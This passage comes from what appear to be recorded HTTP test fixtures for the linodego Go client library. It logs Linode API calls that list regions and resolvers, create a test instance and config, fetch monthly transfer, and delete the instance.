"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 41}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 19:19:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-82h66wye5mm4","firewall_id":1511962,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 69723651, "label": "go-test-ins-wo-disk-82h66wye5mm4", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.214.209"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "7b28a1cae3a173cea8589fbeff8f3229a94680bc", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 19:19:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-u2i0c11lf28a","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/69723651/configs method: POST response: body: '{"id": 73089161, "label": "go-test-conf-u2i0c11lf28a", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 19:19:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/69723651/transfer/2025/1 method: GET response: body: '{"bytes_in": 0, "bytes_out": 0, "bytes_total": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 19:19:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/69723651 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 19:19:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_GetTransfer.yaml000066400000000000000000000775111474652371000323730ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": 